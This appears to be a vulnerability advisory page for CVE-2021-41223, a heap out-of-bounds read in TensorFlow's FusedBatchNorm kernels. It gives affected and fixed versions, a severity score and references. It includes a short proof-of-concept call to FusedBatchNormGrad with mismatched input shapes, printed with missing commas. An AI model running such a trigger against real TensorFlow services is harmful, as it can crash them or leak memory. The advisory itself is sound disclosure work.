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CVE-2021-41223: Heap OOB in `FusedBatchNorm` kernels

November 10, 2021 (updated November 13, 2024)

The implementation of FusedBatchNorm kernels is vulnerable to a heap OOB:

import tensorflow as tf

tf.raw_ops.FusedBatchNormGrad(
y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)
x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)
scale=[1,1],
reserve_space_1=[1,1],
reserve_space_2=[1,1,1],
epsilon=1.0,
data_format='NCHW',
is_training=True)

References

  • github.com/advisories/GHSA-f54p-f6jp-4rhr
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-632.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-830.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-415.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-f54p-f6jp-4rhr
  • nvd.nist.gov/vuln/detail/CVE-2021-41223

Code Behaviors & Features

Detect and mitigate CVE-2021-41223 with GitLab Dependency Scanning

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Affected versions

All versions before 2.4.4, all versions starting from 2.5.0 before 2.5.2, all versions starting from 2.6.0 before 2.6.1

Fixed versions

  • 2.6.1
  • 2.5.2
  • 2.4.4

Solution

Upgrade to versions 2.4.4, 2.5.2, 2.6.1 or above.

Impact 7.1 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow-gpu/CVE-2021-41223.yml

Spotted a mistake? Edit the file on GitLab.

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